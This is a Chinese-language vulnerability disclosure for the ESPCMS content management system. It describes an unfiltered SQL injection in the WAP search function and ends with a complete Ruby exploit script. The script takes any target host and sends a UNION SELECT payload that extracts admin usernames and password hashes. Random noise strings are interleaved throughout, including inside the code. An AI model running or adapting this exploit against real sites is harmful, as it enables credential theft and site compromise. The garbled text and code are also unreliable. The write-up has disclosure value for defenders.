0×0 漏洞概述0×1 漏洞细节
, ]6 q/ {/ P: E+ f0×2 PoC$ T7 t, n* v2 C; L/ z
: n5 ~- R2 {5 _, D4 A- T, U$ G' |6 F4 o ?" v0 W+ H+ V
1 o _; T$ J5 I* B
0×0 漏洞概述4 F5 ~. a; u# ]2 B4 `4 q4 U
3 S# ]$ H4 p/ o' {/ S
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。. s. U7 q" [9 x% d$ N O9 k
其在处理传入的参数时考虑不严谨导致SQL注入发生
3 O' u- B, Z: A3 i" @8 M
: {4 C2 [$ V( f5 f0 `) b
% A Y" s# g& ` C0×1 漏洞细节
8 J, S. j, U! s
8 h* a5 N: |' W) k. J- Y变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。4 i0 Z: _: Q8 u/ d# `/ d! ]/ C
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
% H+ p) B% m. s3 w _3 q而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。1 }/ f$ k& P) \8 e( {+ G+ u
4 Y' b L- K, t) x; i4 p
在/interface/3gwap_search.php文件的in_result函数中:5 w; K& E; [- w( J
$ c8 n! z; E2 R4 d
/ \3 A" A% m6 Y' U8 |, W
# i! B( [- `+ E, Q function in_result() {% X3 s6 ~' o2 D. z
... ... ... ... ... ... ... ... ...
1 y7 |% Z( U, m' A- [2 r $urlcode = $_SERVER[ 'QUERY_STRING '];
" F* W$ m4 x, W parse_str(html_entity_decode($urlcode), $output);
# g* U4 T- C3 Q2 ^0 u+ ~6 i9 F9 P4 `" o' D4 v8 Z
... ... ... ... ... ... ... ... .... `) T; f$ Y, _& E+ F
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
4 s& y e$ t* ^+ k9 P7 l O" s2 C
$db_table = db_prefix . 'model_att';
3 @- l( ] u2 F
1 s/ N, ?9 o# J. [! R foreach ($output['attr' ] as $key => $value) { _; Y* u- U! a8 ~! Q, y
if ($value) {
. t0 }/ Q& C$ a' o7 V5 x4 ]4 A) \2 `. O1 I
$key = addslashes($key);1 m8 Z+ l# Z- E1 q5 \8 p* x% ]* M
$key = $this-> fun->inputcodetrim($key);# }/ V2 o/ l, P
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
& j7 H( y( K9 w; R4 v& F k' {% { G $countnum = $this->db_numrows($db_table, $db_att_where);
% d; f' A2 p$ F% R if ($countnum > 0) {: Z5 `9 z1 ^$ _; ^) L u: R( E
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;/ F4 A' w+ F% a
}. W& E7 V: ]* e
}
, u7 A& q; W+ _ }4 G7 U5 r% |5 e) S) \
}
$ T& K7 Z2 g3 o* U0 m* a if (!empty ($keyword) && empty($keyname)) {8 s3 u; L0 g) ~* A' q0 A
$keyname = 'title';
3 d6 z" r# f6 f; b" e $db_where.= " AND a.title like '%$keyword%'" ;- ^8 d5 J% i/ ^5 G- O* z
} elseif (!empty ($keyword) && !empty($keyname)) {, {9 \! F* z3 Y' U+ t
$db_where.= " AND $keyname like '% $keyword%'";. k% t( ?/ k$ [9 k" Q; s% `0 B# v+ U
}+ m V$ R O) o- |% S3 v/ A
$pagemax = 15;+ x6 ` `/ P% J3 W
) m( E; r) i5 `6 \0 q7 Y( a8 H $pagesylte = 1;
5 n8 y3 b4 M2 `6 Z" Q
% n* r. A' T' \2 K" O B if ($countnum > 0) {
2 U9 n0 \6 F x0 r7 g! m( v5 s: W* n, {* ?# J9 i: v6 t0 S
$numpage = ceil($countnum / $pagemax);: x, b* ^( g9 ~' G# b0 i! M2 O" p. n; q
} else {
, x, E" \3 ?8 [) s5 h0 Z5 G $numpage = 1;% o# k$ e0 n. F( G5 n
}
) ^& ?% j2 h. P+ n" r $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 @0 K0 \) f5 R+ c $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);! A. v+ n0 A1 o- Q; v. C
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);, F0 D; Y% S! [3 }. Y7 @
... ... ... ... ... ... ... ... ...( T" l/ j p, p3 T# C r
}3 C9 M7 p2 q- z+ I" |/ o4 |- E! V
9 \# N7 _" |. L! }% J \
. m6 i) T( H3 O! }2 B0×2 PoC
" ^: R) Q8 j( @, b( D& L5 v% m; y- |6 }; b- t) Q9 e8 Q+ K( Y3 p, J" Q" a( R
/ u; D3 w: q; a
+ k0 r2 R$ k# l; J1 t5 x
require "net/http"* H: d$ V/ d; }; ]
* R2 C% L% a& ^- c
def request(method, url)
/ K, J! R$ r k if method.eql?("get")
$ X( p) C1 w4 s$ \8 F9 r: q) o uri = URI.parse(url)5 ~) d! ?0 t9 w7 c3 N. {
http = Net::HTTP.new(uri.host, uri.port)% N3 T1 z4 ?5 x- D5 M* z2 B- H
response = http.request(Net::HTTP::Get.new(uri.request_uri))$ X2 t% c$ ]3 O+ Z6 y
return response
- [/ Y2 C' q0 D0 Y1 e# f end5 E- R# t0 U, J5 f* e0 q
end
* s% R" f- ^+ z
' v2 l& [, S) W+ ~$ \doc =<<HERE: W k9 ^) z5 j% {
-------------------------------------------------------: W2 Y. p o) ^% G& I' w3 |
Espcms Injection Exploit
. w; b. Z. [3 [1 ~* r8 LAuthor:ztz
6 Q% B* f9 h5 u4 E( T0 `% o! i3 ABlog:http://ztz.fuzzexp.org/4 F, l' P: _1 X. j3 k; d4 T
-------------------------------------------------------
7 X+ l; S) U- \9 r' s( y+ O( ^
) _! c8 N& N) {+ f3 YHERE& b* Q) L4 k9 _/ g9 x2 M
( u& V' n1 k# F& T4 X2 Q% nusage =<<HERE
) P& |) S; O2 O3 y5 yUsage: ruby #{$0} host port path
$ k6 f$ R- b+ hexample: ruby #{$0} www.target.com 80 /
2 R9 |7 Y$ @% S4 `, I5 M- n* ]$ hHERE i, d# V+ M1 [1 ?7 O; R9 m
B! X2 s B0 P* z' {puts doc
4 u! V% P3 q( t% Z, F, O& K5 A2 wif ARGV.length < 3+ h! T3 y* ?" o- A( N" k6 K
puts usage! ^7 r: m: z: @! i
else7 q) F0 L4 w. F' u0 Q k
$host = ARGV[0]2 g% ]. Z3 E6 f v" ?# i" x
$port = ARGV[1]$ b: [1 U- K( {$ t, B# f+ B
$path = ARGV[2]9 X# {: V3 P3 m5 Y
$ G" X) O% j+ y: n; K puts "send request..."
, ~/ f3 P# K0 K9 j% P- J- A url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
: \2 B& B. Y7 Z4 Kattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13) M2 L% W9 B$ v7 C2 w, d
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
0 G/ Q) o4 d7 ^ `# G9 A( u* j5 F,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23" r# X# t1 |. l+ k. N, {
response = request("get", url)
( y% B: T8 N; y result = response.body.scan(/\w+&\w{32}/)) T1 }+ ?9 W* k4 P0 |: j2 Z6 l8 L
puts result( D7 z6 R- B' T2 Q w
end; W' Z7 z' F, h' }+ Q! v/ G
6 }: B6 x* E m1 F! i
|